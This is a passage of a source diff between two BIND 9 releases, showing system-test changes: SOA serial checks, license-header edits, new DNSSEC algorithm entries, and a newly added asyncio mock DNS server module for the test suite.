($field[3] eq "SOA"); }' /dev/null 2>&1 || ret=1 retry_quiet 5 wait_for_serial 10.53.0.2 bits. "${newserial:-0}" dig.out.ns2.post.test$n || ret=1 if [ $ret != 0 ]; then echo_i "failed"; fi @@ -1059,7 +1061,7 @@ ret=0 $DIG $DIGOPTS bits. SOA @10.53.0.2 >dig.out.ns2.pre.test$n || ret=1 oldserial=$(awk '$4 == "SOA" { print $7 }' dig.out.ns2.pre.test$n) -newserial=$($PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] - 10) if ($field[3] eq "SOA"); }' /dev/null 2>&1 || ret=1 retry_quiet 5 wait_for_serial 10.53.0.2 bits. "${newserial:-1}" dig.out.ns2.post1.test$n && ret=1 retry_quiet 5 wait_for_serial 10.53.0.2 bits. "${oldserial:-1}" dig.out.ns2.post2.test$n || ret=1 @@ -1071,7 +1073,7 @@ ret=0 $DIG $DIGOPTS bits. SOA @10.53.0.2 >dig.out.ns2.pre.test$n || ret=1 oldserial=$(awk '$4 == "SOA" { print $7 }' dig.out.ns2.pre.test$n) -newserial=$($PERL -e 'while (<>) { chomp; my @field = split /\s+/; printf("%u\n", $field[6] + 10) if ($field[3] eq "SOA"); }' /dev/null 2>&1 || ret=1 $RNDCCMD 10.53.0.2 signing -serial ${newserial:-0} bits >/dev/null 2>&1 && ret=1 $RNDCCMD 10.53.0.2 thaw bits >/dev/null 2>&1 || ret=1 diff -Nru bind9-9.20.29/bin/tests/system/inline/tests_inline_incremental_updates.py bind9-9.20.30/bin/tests/system/inline/tests_inline_incremental_updates.py --- bind9-9.20.29/bin/tests/system/inline/tests_inline_incremental_updates.py 2026-09-11 19:41:01.227324432 +0000 +++ bind9-9.20.30/bin/tests/system/inline/tests_inline_incremental_updates.py 2026-10-12 13:12:08.124893861 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/inline/tests_sh_inline.py bind9-9.20.30/bin/tests/system/inline/tests_sh_inline.py --- bind9-9.20.29/bin/tests/system/inline/tests_sh_inline.py 2026-09-11 19:41:01.227324432 +0000 +++ bind9-9.20.30/bin/tests/system/inline/tests_sh_inline.py 2026-10-12 13:12:08.124893861 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/inline/tests_signed_zone_files.py bind9-9.20.30/bin/tests/system/inline/tests_signed_zone_files.py --- bind9-9.20.29/bin/tests/system/inline/tests_signed_zone_files.py 2026-09-11 19:41:01.227324432 +0000 +++ bind9-9.20.30/bin/tests/system/inline/tests_signed_zone_files.py 2026-10-12 13:12:08.124893861 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/integrity/tests_sh_integrity.py bind9-9.20.30/bin/tests/system/integrity/tests_sh_integrity.py --- bind9-9.20.29/bin/tests/system/integrity/tests_sh_integrity.py 2026-09-11 19:41:01.228324456 +0000 +++ bind9-9.20.30/bin/tests/system/integrity/tests_sh_integrity.py 2026-10-12 13:12:08.125893882 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/__init__.py bind9-9.20.30/bin/tests/system/isctest/__init__.py --- bind9-9.20.29/bin/tests/system/isctest/__init__.py 2026-09-11 19:41:01.228324456 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/__init__.py 2026-10-12 13:12:08.125893882 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/__main__.py bind9-9.20.30/bin/tests/system/isctest/__main__.py --- bind9-9.20.29/bin/tests/system/isctest/__main__.py 2026-09-11 19:41:01.228324456 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/__main__.py 2026-10-12 13:12:08.125893882 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/isctest/algorithms.py bind9-9.20.30/bin/tests/system/isctest/algorithms.py --- bind9-9.20.29/bin/tests/system/isctest/algorithms.py 2026-09-11 19:41:01.228324456 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/algorithms.py 2026-10-12 13:12:08.125893882 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -17,6 +17,7 @@ class Algorithm(NamedTuple): name: str number: int + dst: int bits: int @classmethod @@ -24,18 +25,21 @@ return cls( os.environ["DEFAULT_ALGORITHM"], int(os.environ["DEFAULT_ALGORITHM_NUMBER"]), + int(os.environ["DEFAULT_ALGORITHM_DST_NUMBER"]), int(os.environ["DEFAULT_BITS"]), ) -RSASHA1 = Algorithm("RSASHA1", 5, 2048) -NSEC3RSASHA1 = Algorithm("NSEC3RSASHA1", 7, 2048) -RSASHA256 = Algorithm("RSASHA256", 8, 2048) -RSASHA512 = Algorithm("RSASHA512", 10, 2048) -ECDSAP256SHA256 = Algorithm("ECDSAP256SHA256", 13, 256) -ECDSAP384SHA384 = Algorithm("ECDSAP384SHA384", 14, 384) -ED25519 = Algorithm("ED25519", 15, 256) -ED448 = Algorithm("ED448", 16, 456) +RSASHA1 = Algorithm("RSASHA1", 5, 5, 2048) +NSEC3RSASHA1 = Algorithm("NSEC3RSASHA1", 7, 7, 2048) +RSASHA256 = Algorithm("RSASHA256", 8, 8, 2048) +RSASHA512 = Algorithm("RSASHA512", 10, 10, 2048) +ECDSAP256SHA256 = Algorithm("ECDSAP256SHA256", 13, 13, 256) +ECDSAP384SHA384 = Algorithm("ECDSAP384SHA384", 14, 14, 384) +ED25519 = Algorithm("ED25519", 15, 15, 256) +ED448 = Algorithm("ED448", 16, 16, 456) +RSASHA256OID = Algorithm("RSASHA256OID", 254, 256, 2048) +RSASHA512OID = Algorithm("RSASHA512OID", 254, 257, 2048) ALL_ALGORITHMS = [ RSASHA1, @@ -46,6 +50,12 @@ ECDSAP384SHA384, ED25519, ED448, + RSASHA256OID, + RSASHA512OID, ] ALL_ALGORITHMS_BY_NUM = {alg.number: alg for alg in ALL_ALGORITHMS} +# Keyed by the DST identifier rather than the on-wire number: unlike `number` +# (where both private-OID variants collide at 254), `dst` is unique, so this +# map distinguishes RSASHA256OID (256) from RSASHA512OID (257). +ALL_ALGORITHMS_BY_DST = {alg.dst: alg for alg in ALL_ALGORITHMS} diff -Nru bind9-9.20.29/bin/tests/system/isctest/asyncserver/__init__.py bind9-9.20.30/bin/tests/system/isctest/asyncserver/__init__.py --- bind9-9.20.29/bin/tests/system/isctest/asyncserver/__init__.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/isctest/asyncserver/__init__.py 2026-10-12 13:12:08.125893882 +0000 @@ -0,0 +1,1197 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +from collections.abc import ( + AsyncGenerator, + Callable, + Coroutine, + Iterator, + MutableSequence, +) +from dataclasses import dataclass, field +from typing import Any, Literal, cast + +import abc +import asyncio +import collections +import functools +import logging +import os +import pathlib +import re +import signal +import sys + +import dns.exception +import dns.flags +import dns.message +import dns.name +import dns.node +import dns.rcode +import dns.rdataclass +import dns.rdatatype +import dns.rrset +import dns.tsig +import dns.zone + +import isctest.zone + +from .context import DnsProtocol, Peer, QueryContext +from .dnssec import SigningKey +from .matchers import Always, Matcher + +__all__ = [ + "AsyncDnsServer", + "ConnectionHandler", + "ControlCommand", + "ControllableAsyncDnsServer", + "DnsProtocol", + "QueryContext", + "ResponseAction", + "ResponseHandler", +] + +_UdpHandler = Callable[ + [bytes, tuple[str, int], asyncio.DatagramTransport], Coroutine[Any, Any, None] +] + + +_TcpHandler = Callable[ + [asyncio.StreamReader, asyncio.StreamWriter], Coroutine[Any, Any, None] +] + + +class _AsyncUdpHandler(asyncio.DatagramProtocol): + """ + Protocol implementation for handling UDP traffic using asyncio. + """ + + def __init__( + self, + handler: _UdpHandler, + ) -> None: + self._transport: asyncio.DatagramTransport | None = None + self._handler: _UdpHandler = handler + + def connection_made(self, transport: asyncio.BaseTransport) -> None: + """ + Called by asyncio when a connection is made. + """ + self._transport = cast(asyncio.DatagramTransport, transport) + + def datagram_received(self, data: bytes, addr: tuple[str, int]) -> None: + """ + Called by asyncio when a datagram is received. + """ + assert self._transport + handler_coroutine = self._handler(data, addr, self._transport) + asyncio.create_task(handler_coroutine) + + +class _AsyncServer: + """ + A generic asynchronous server which may handle UDP and/or TCP traffic. + + Once the server is executed as asyncio coroutine, it will keep running + until a SIGINT/SIGTERM signal is received. + """ + + def __init__( + self, + init_handler: Callable[[], None] | None, + udp_handler: _UdpHandler | None, + tcp_handler: _TcpHandler | None, + pidfile: str | None = None, + ) -> None: + logging.basicConfig( + format="%(asctime)s %(levelname)8s %(message)s", + level=os.environ.get("ANS_LOG_LEVEL", "INFO").upper(), + ) + try: + ipv4_address = sys.argv[1] + except IndexError: + ipv4_address = self._get_ipv4_address_from_directory_name() + + last_ipv4_address_octet = ipv4_address.split(".")[-1] + ipv6_address = f"fd92:7065:b8e:ffff::{last_ipv4_address_octet}" + + try: + port = int(sys.argv[2]) + except IndexError: + port = int(os.environ.get("PORT", 5300)) + + logging.info("Setting up IPv4 listener at %s:%d", ipv4_address, port) + logging.info("Setting up IPv6 listener at [%s]:%d", ipv6_address, port) + + self._ip_addresses: tuple[str, str] = (ipv4_address, ipv6_address) + self._port: int = port + self._init_handler: Callable[[], None] | None = init_handler + self._udp_handler: _UdpHandler | None = udp_handler + self._tcp_handler: _TcpHandler | None = tcp_handler + self._pidfile: str | None = pidfile + self._work_done: asyncio.Future | None = None + + def _get_ipv4_address_from_directory_name(self) -> str: + containing_directory = pathlib.Path().absolute().stem + match_result = re.match(r"ans(?P\d+)", containing_directory) + if not match_result: + raise RuntimeError("Unable to auto-determine the IPv4 address to use") + + return f"10.53.0.{match_result.group('index')}" + + def run(self) -> None: + """ + Start the server in an asynchronous coroutine. + """ + asyncio.run(self._run()) + + async def _run(self) -> None: + self._setup_exception_handler() + self._setup_signals() + assert self._work_done + await self._listen_udp() + await self._listen_tcp() + self._write_pidfile() + if self._init_handler: + self._init_handler() + await self._work_done + self._cleanup_pidfile() + + def _setup_exception_handler(self) -> None: + loop = asyncio.get_running_loop() + self._work_done = loop.create_future() + loop.set_exception_handler(self._handle_exception) + + def _handle_exception( + self, _: asyncio.AbstractEventLoop, context: dict[str, Any] + ) -> None: + assert self._work_done + exception = context.get("exception", RuntimeError(context["message"])) + try: + self._work_done.set_exception(exception) + except asyncio.InvalidStateError: + pass + + def _setup_signals(self) -> None: + loop = asyncio.get_running_loop() + loop.add_signal_handler(signal.SIGINT, functools.partial(self._signal_done)) + loop.add_signal_handler(signal.SIGTERM, functools.partial(self._signal_done)) + + def _signal_done(self) -> None: + assert self._work_done + try: + self._work_done.set_result(True) + except asyncio.InvalidStateError: + pass + + async def _listen_udp(self) -> None: + if not self._udp_handler: + return + loop = asyncio.get_running_loop() + for ip_address in self._ip_addresses: + await loop.create_datagram_endpoint( + lambda: _AsyncUdpHandler(cast(_UdpHandler, self._udp_handler)), + (ip_address, self._port), + ) + + async def _listen_tcp(self) -> None: + if not self._tcp_handler: + return + for ip_address in self._ip_addresses: + await asyncio.start_server( + self._tcp_handler, host=ip_address, port=self._port + ) + + def _write_pidfile(self) -> None: + if not self._pidfile: + return + logging.info("Writing PID to %s", self._pidfile) + with open(self._pidfile, "w", encoding="ascii") as pidfile: + print(f"{os.getpid()}", file=pidfile) + + def _cleanup_pidfile(self) -> None: + if not self._pidfile: + return + logging.info("Removing %s", self._pidfile) + os.unlink(self._pidfile) + + +@dataclass +class ResponseAction(abc.ABC): + """ + Base class for actions that can be taken in response to a query. + """ + + @abc.abstractmethod + async def perform(self) -> dns.message.Message | bytes | None: + """ + This method is expected to carry out arbitrary actions (e.g. wait for a + specific amount of time, modify the answer, etc.) and then return the + DNS response to send (a dns.message.Message, a raw bytes object, or + None, which prevents any response from being sent). + """ + raise NotImplementedError + + +class _ConnectionTeardownRequested(Exception): + pass + + +class ConnectionHandler(abc.ABC): + """ + Base class for TCP connection handlers. + + An installed connection handler is called when a new TCP connection is + established. It may be used to perform arbitrary actions before + AsyncDnsServer processes DNS queries. + """ + + @abc.abstractmethod + async def handle( + self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter, peer: Peer + ) -> None: + """ + Handle the connection with the provided reader and writer. + """ + raise NotImplementedError + + +class ResponseHandler(abc.ABC): + """ + Base class for generic response handlers. + + The queries a handler handles are declared in its `matcher`; the first + handler whose matcher matches a query handles it, and response(s) may be + generated by its `get_responses()` method. The default matcher handles + every query. + """ + + matcher: Matcher = Always() + + @abc.abstractmethod + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[ResponseAction, None]: + """ + Custom handler which may produce response(s) to matching queries. + + The response prepared from zone data is passed to this method in + qctx.response. + """ + raise NotImplementedError + yield # pylint: disable=unreachable + + def __str__(self) -> str: + if isinstance(self.matcher, Always): + return self.__class__.__name__ + return f"{self.__class__.__name__} matching {self.matcher}" + + +@dataclass +class _ZoneTreeNode: + """ + A node representing a zone with one origin. + """ + + zone: dns.zone.Zone | None + children: list["_ZoneTreeNode"] = field(default_factory=list) + + +class _ZoneTree: + """ + Tree with independent zones. + + This zone tree is used as a backing structure for the DNS server. The + individual zones are independent to allow the (single) server to serve both + the parent zone and a child zone if needed. + """ + + def __init__(self) -> None: + self._root: _ZoneTreeNode = _ZoneTreeNode(None) + + def add(self, origin: dns.name.Name, zone: dns.zone.Zone) -> None: + """ + Add a zone to the tree and rearrange sub-zones if necessary. + """ + best_match = self._find_best_match(origin, self._root) + if best_match.zone is not None and best_match.zone.origin == origin: + raise ValueError(f'zone "{origin}" is defined by more than one zone file') + added_node = _ZoneTreeNode(zone) + self._move_children(best_match, added_node) + best_match.children.append(added_node) + + def _find_best_match( + self, name: dns.name.Name, start_node: _ZoneTreeNode + ) -> _ZoneTreeNode: + for child in start_node.children: + assert child.zone + assert child.zone.origin + if name.is_subdomain(child.zone.origin): + return self._find_best_match(name, child) + return start_node + + def _move_children(self, node_from: _ZoneTreeNode, node_to: _ZoneTreeNode) -> None: + assert node_to.zone + assert node_to.zone.origin + + children_to_move = [] + for child in node_from.children: + assert child.zone + assert child.zone.origin + if child.zone.origin.is_subdomain(node_to.zone.origin): + children_to_move.append(child) + + for child in children_to_move: + node_from.children.remove(child) + node_to.children.append(child) + + def _find_best_zone_for_name(self, name: dns.name.Name) -> dns.zone.Zone | None: + """ + Return the closest matching zone (if any) for the provided domain name. + """ + node = self._find_best_match(name, self._root) + return node.zone if node != self._root else None + + def find_best_zone( + self, name: dns.name.Name, qtype: dns.rdatatype.RdataType + ) -> dns.zone.Zone | None: + """ + Return the zone (if any) from which to answer a query. + """ + if qtype == dns.rdatatype.DS and name != dns.name.root: + # A DS query (other than ./DS) should be answered from the parent + # side of the zone cut, but this server might not be hosting it. + if parent_zone := self._find_best_zone_for_name(name.parent()): + return parent_zone + + return self._find_best_zone_for_name(name) + + +_ASYNCSERVER_RESPONSE_MARKER = "__is_asyncserver_response__" + + +def _make_asyncserver_response(query: dns.message.Message) -> dns.message.Message: + response = dns.message.make_response(query) + setattr(response, _ASYNCSERVER_RESPONSE_MARKER, True) + return response + + +def _is_asyncserver_response(message: dns.message.Message) -> bool: + return getattr(message, _ASYNCSERVER_RESPONSE_MARKER, False) + + +class AsyncDnsServer(_AsyncServer): + """ + DNS server which responds to queries based on zone data and/or custom + handlers. + + The server may use custom handlers which allow arbitrary query processing. + These don't need to be standards-compliant and can be used for testing all + sorts of scenarios, including delaying responses, synthesizing them based + on query contents etc. + + The server also loads any zone files found in the zones/ subdirectory and + serves them (*.db and *.db.signed files; if both exist for the same origin, + only the signed variant is loaded). Responses prepared using zone data can + then be modified, replaced, or suppressed by query handlers. Query handlers + can also generate response from scratch, without using zone data at all. + """ + + def __init__( + self, + /, + default_rcode: dns.rcode.Rcode = dns.rcode.REFUSED, + default_aa: bool = False, + keyring: dict[dns.name.Name, dns.tsig.Key] | Literal[False] | None = None, + acknowledge_manual_dname_handling: bool = False, + ) -> None: + super().__init__( + self._handle_init, self._handle_udp, self._handle_tcp, "ans.pid" + ) + + self._zone_tree: _ZoneTree = _ZoneTree() + self._zones: dict[dns.name.Name, dns.zone.Zone] = {} + self._keys: dict[dns.name.Name, MutableSequence[SigningKey]] = ( + collections.defaultdict(list) + ) + self._connection_handler: ConnectionHandler | None = None + self._response_handlers: list[ResponseHandler] = [] + self._default_rcode = default_rcode + self._default_aa = default_aa + self._keyring = keyring + self._acknowledge_manual_dname_handling = acknowledge_manual_dname_handling + + def install_response_handler( + self, handler: ResponseHandler, prepend: bool = False + ) -> None: + """ + Add a response handler that will be used to handle matching queries. + + Response handlers can modify, replace, or suppress the answers prepared + from zone file contents. + + The provided handler is installed at the end of the response handler + list unless `prepend` is set to True, in which case it is installed at + the beginning of the response handler list. + """ + logging.info("Installing response handler: %s", handler) + if prepend: + self._response_handlers.insert(0, handler) + else: + self._response_handlers.append(handler) + + def install_response_handlers(self, *handlers: ResponseHandler) -> None: + for handler in handlers: + self.install_response_handler(handler) + + def replace_response_handlers(self, *new_handlers: ResponseHandler) -> None: + """ + Uninstall all currently installed handlers and install the provided ones. + """ + logging.info("Uninstalling response handlers: %s", str(self._response_handlers)) + self._response_handlers.clear() + self.install_response_handlers(*new_handlers) + + def uninstall_response_handler(self, handler: ResponseHandler) -> None: + """ + Remove the specified handler from the list of response handlers. + """ + logging.info("Uninstalling response handler: %s", handler) + self._response_handlers.remove(handler) + + def install_connection_handler(self, handler: ConnectionHandler) -> None: + """ + Install a connection handler that will be called when a new TCP + connection is established. + """ + if self._connection_handler: + raise RuntimeError("Only one connection handler can be installed") + self._connection_handler = handler + + def _handle_init(self) -> None: + self._load_zones() + self._load_keys() + + def _scan_directory(self, directory: str) -> Iterator[os.DirEntry]: + directory_path = pathlib.Path(directory) + if directory_path.exists(): + yield from os.scandir(directory_path) + + def _is_preferred_zone_file(self, file: pathlib.Path) -> bool: + if file.name.endswith(".db.signed"): + return True + if file.name.endswith(".db"): + return not pathlib.Path(f"{file}.signed").exists() + return False + + def _load_zones(self) -> None: + for entry in self._scan_directory("zones/"): + entry_path = pathlib.Path(entry.path) + if not self._is_preferred_zone_file(entry_path): + continue + origin, zone = self._load_zone(entry_path) + self._zone_tree.add(origin, zone) + self._zones[origin] = zone + + def _load_zone( + self, zone_file_path: pathlib.Path + ) -> tuple[dns.name.Name, dns.zone.Zone]: + logging.info("Loading zone file %s", zone_file_path) + zone = self._load_zone_file(zone_file_path) + self._abort_if_dname_found_unless_acknowledged(zone) + assert zone.origin + return zone.origin, zone + + def _load_zone_file(self, zone_file_path: pathlib.Path) -> dns.zone.Zone: + try: + zone = self._load_zone_file_with_origin(zone_file_path) + except dns.zone.UnknownOrigin: + zone = self._load_zone_file_without_origin(zone_file_path) + + return zone + + def _load_zone_file_with_origin( + self, zone_file_path: pathlib.Path + ) -> dns.zone.Zone: + zone = dns.zone.from_file(str(zone_file_path), origin=None, relativize=False) + if zone.origin != dns.name.root: + error = "only the root zone may use $ORIGIN in the zone file; " + error += "for every other zone, its origin is determined by " + error += "the name of the file it is loaded from" + raise ValueError(error) + return zone + + def _load_zone_file_without_origin( + self, zone_file_path: pathlib.Path + ) -> dns.zone.Zone: + origin = zone_file_path.name.removesuffix(".signed").removesuffix(".db") + return dns.zone.from_file(str(zone_file_path), origin=origin, relativize=False) + + def _abort_if_dname_found_unless_acknowledged(self, zone: dns.zone.Zone) -> None: + if self._acknowledge_manual_dname_handling: + return + + error = f'DNAME records found in zone "{zone.origin}"; ' + error += "this server does not handle DNAME in a standards-compliant way; " + error += "pass `acknowledge_manual_dname_handling=True` to the " + error += "AsyncDnsServer constructor to acknowledge this and load zone anyway" + + for node in zone.nodes.values(): + for rdataset in node: + if rdataset.rdtype == dns.rdatatype.DNAME: + raise ValueError(error) + + def _load_keys(self) -> None: + for entry in self._scan_directory("keys/"): + entry_path = pathlib.Path(entry.path) + if entry_path.suffix != ".key": + continue + key = self._load_key(entry_path) + self._keys[key.zone].append(key) + + def _load_key(self, key_file_path: pathlib.Path) -> SigningKey: + zone = dns.name.from_text(key_file_path.stem.split("+")[0].removeprefix("K")) + zone_key = isctest.zone.FileZoneKey(key_file_path.stem, key_file_path.parent) + dnskey = zone_key.dnskey + private_key = zone_key.private_key + return SigningKey(zone=zone, dnskey=dnskey, private_key=private_key) + + async def _handle_udp( + self, wire: bytes, addr: tuple[str, int], transport: asyncio.DatagramTransport + ) -> None: + logging.debug("Received UDP message: %s", wire.hex()) + socket_info = transport.get_extra_info("sockname") + socket = Peer(socket_info[0], socket_info[1]) + peer = Peer(addr[0], addr[1]) + responses = self._handle_query(wire, socket, peer, DnsProtocol.UDP) + async for response in responses: + logging.debug("Sending UDP message: %s", response.hex()) + transport.sendto(response, addr) + + async def _handle_tcp( + self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter + ) -> None: + peer_info = writer.get_extra_info("peername") + peer = Peer(peer_info[0], peer_info[1]) + logging.debug("Accepted TCP connection from %s", peer) + + try: + if self._connection_handler: + await self._connection_handler.handle(reader, writer, peer) + while True: + wire = await self._read_tcp_query(reader, peer) + if not wire: + break + await self._send_tcp_response(writer, peer, wire) + except _ConnectionTeardownRequested: + pass + except ConnectionResetError: + logging.error("TCP connection from %s reset by peer", peer) + return + + logging.debug("Closing TCP connection from %s", peer) + writer.close() + await writer.wait_closed() + + async def _read_tcp_query( + self, reader: asyncio.StreamReader, peer: Peer + ) -> bytes | None: + wire_length = await self._read_tcp_query_wire_length(reader, peer) + if not wire_length: + return None + + return await self._read_tcp_query_wire(reader, peer, wire_length) + + async def _read_tcp_query_wire_length( + self, reader: asyncio.StreamReader, peer: Peer + ) -> int | None: + logging.debug("Receiving TCP message length from %s...", peer) + + wire_length_bytes = await self._read_tcp_octets(reader, peer, 2) + if not wire_length_bytes: + return None + + return int.from_bytes(wire_length_bytes, byteorder="big") + + async def _read_tcp_query_wire( + self, reader: asyncio.StreamReader, peer: Peer, wire_length: int + ) -> bytes | None: + logging.debug("Receiving TCP message (%d octets) from %s...", wire_length, peer) + + wire = await self._read_tcp_octets(reader, peer, wire_length) + if not wire: + return None + + logging.debug("Received complete TCP message from %s: %s", peer, wire.hex()) + + return wire + + async def _read_tcp_octets( + self, reader: asyncio.StreamReader, peer: Peer, expected: int + ) -> bytes | None: + buffer = b"" + + while len(buffer) < expected: + chunk = await reader.read(expected - len(buffer)) + if not chunk: + if buffer: + logging.debug( + "Received short TCP message (%d octets) from %s: %s", + len(buffer), + peer, + buffer.hex(), + ) + else: + logging.debug("Received disconnect from %s", peer) + return None + + logging.debug("Received %d TCP octets from %s", len(chunk), peer) + buffer += chunk + + return buffer + + async def _send_tcp_response( + self, writer: asyncio.StreamWriter, peer: Peer, wire: bytes + ) -> None: + socket_info = writer.get_extra_info("sockname") + socket = Peer(socket_info[0], socket_info[1]) + responses = self._handle_query(wire, socket, peer, DnsProtocol.TCP) + async for response in responses: + logging.debug("Sending TCP response: %s", response.hex()) + writer.write(response) + await writer.drain() + + def _log_query(self, qctx: QueryContext) -> None: + logging.info( + "Received %s/%s/%s (ID=%d) query from %s on %s (%s)", + qctx.qname.to_text(omit_final_dot=True), + dns.rdataclass.to_text(qctx.qclass), + dns.rdatatype.to_text(qctx.qtype), + qctx.query.id, + qctx.peer, + qctx.socket, + qctx.protocol.name, + ) + logging.debug( + "\n".join([f"[IN] {l}" for l in [""] + str(qctx.query).splitlines()]) + ) + + def _log_response( + self, qctx: QueryContext, response: dns.message.Message | bytes | None + ) -> None: + if not response: + logging.info( + "Not sending a response to query (ID=%d) from %s on %s (%s)", + qctx.query.id, + qctx.peer, + qctx.socket, + qctx.protocol.name, + ) + return + + if isinstance(response, dns.message.Message): + try: + qname = response.question[0].name.to_text(omit_final_dot=True) + qclass = dns.rdataclass.to_text(response.question[0].rdclass) + qtype = dns.rdatatype.to_text(response.question[0].rdtype) + except IndexError: + qname = "" + qclass = "-" + qtype = "-" + + logging.info( + "Sending %s/%s/%s (ID=%d) response (%d/%d/%d/%d) to a query (ID=%d) from %s on %s (%s)", + qname, + qclass, + qtype, + response.id, + len(response.question), + len(response.answer), + len(response.authority), + len(response.additional), + qctx.query.id, + qctx.peer, + qctx.socket, + qctx.protocol.name, + ) + try: + response_text = str(response) + except OverflowError: + response_text = "" + logging.debug( + "\n".join([f"[OUT] {l}" for l in [""] + response_text.splitlines()]) + ) + return + + logging.info( + "Sending response (%d bytes) to a query (ID=%d) from %s on %s (%s)", + len(response), + qctx.query.id, + qctx.peer, + qctx.socket, + qctx.protocol.name, + ) + logging.debug("[OUT] %s", response.hex()) + + def _prepare_response_wire( + self, qctx: QueryContext, response: dns.message.Message | bytes | None + ) -> bytes | None: + def prepend_length_unless_udp(payload: bytes) -> bytes: + if qctx.protocol == DnsProtocol.UDP: + return payload + return len(payload).to_bytes(2, byteorder="big") + payload + + payload: bytes + match response: + case dns.message.Message(wire=bytes() as cached) if ( + response.tsig is not None + ): + # A TSIG-signed response is sent from its already-rendered wire + # verbatim: re-rendering would generate a different signature and + # break multi-message TSIG chaining (see xfer/ans5). + payload = cached + case dns.message.Message(): + # Otherwise the message object is the source of truth: render it + # now so any change made after an earlier to_wire() render (a size + # measurement, a relayed-then-edited response, a late AA or RCODE + # change) reaches the wire. + payload = response.to_wire(max_size=65535) + case bytes(): + payload = response + case _: + return None + return prepend_length_unless_udp(payload) + + async def _handle_query( + self, wire: bytes, socket: Peer, peer: Peer, protocol: DnsProtocol + ) -> AsyncGenerator[bytes, None]: + """ + Yield wire data to send as a response over the established transport. + """ + try: + query = self._parse_message(wire) + except dns.exception.DNSException as exc: + logging.error("Invalid query from %s (%s): %s", peer, wire.hex(), exc) + return + response_stub = _make_asyncserver_response(query) + keys = {k: tuple(v) for k, v in self._keys.items()} + qctx = QueryContext( + query, response_stub, self._zones, keys, socket, peer, protocol + ) + self._log_query(qctx) + responses = self._prepare_responses(qctx) + async for response in responses: + # Call _prepare_response_wire before logging the response, so that TSIG + # records are properly included in the logged response. + response_wire = self._prepare_response_wire(qctx, response) + self._log_response(qctx, response) + if response_wire is not None: + yield response_wire + + def _parse_message(self, wire: bytes) -> dns.message.Message: + try: + return dns.message.from_wire(wire, keyring=self._keyring) + except dns.message.UnknownTSIGKey as exc: + if self._keyring is not None: + raise + error = "TSIG-signed query received but no `keyring` was provided; " + error += "either provide a keyring (in which case the server will " + error += "ignore any TSIG-invalid queries), or set `keyring=False` " + error += "to disable TSIG validation altogether." + raise ValueError(error) from exc + + async def _prepare_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[dns.message.Message | bytes | None, None]: + """ + Yield response(s) either from response handlers or zone data. + """ + qctx.response.set_rcode(self._default_rcode) + if self._default_aa: + qctx.response.flags |= dns.flags.AA + qctx.save_initialized_response(with_zone_data=False) + + self._prepare_response_from_zone_data(qctx) + qctx.save_initialized_response(with_zone_data=True) + + response_handled = False + async for action in self._run_response_handlers(qctx): + yield await action.perform() + response_handled = True + + if not response_handled: + logging.debug("Responding based on zone data") + yield qctx.response + + def _prepare_response_from_zone_data(self, qctx: QueryContext) -> None: + """ + Prepare a response to the query based on the available zone data. + + The functionality is split across smaller functions that modify the + query context until a proper response is formed. + """ + if self._refused_response(qctx): + return + + if self._delegation_response(qctx): + return + + qctx.response.flags |= dns.flags.AA + + if self._ent_response(qctx): + return + + if self._nxdomain_response(qctx): + return + + if self._cname_response(qctx): + return + + if self._nodata_response(qctx): 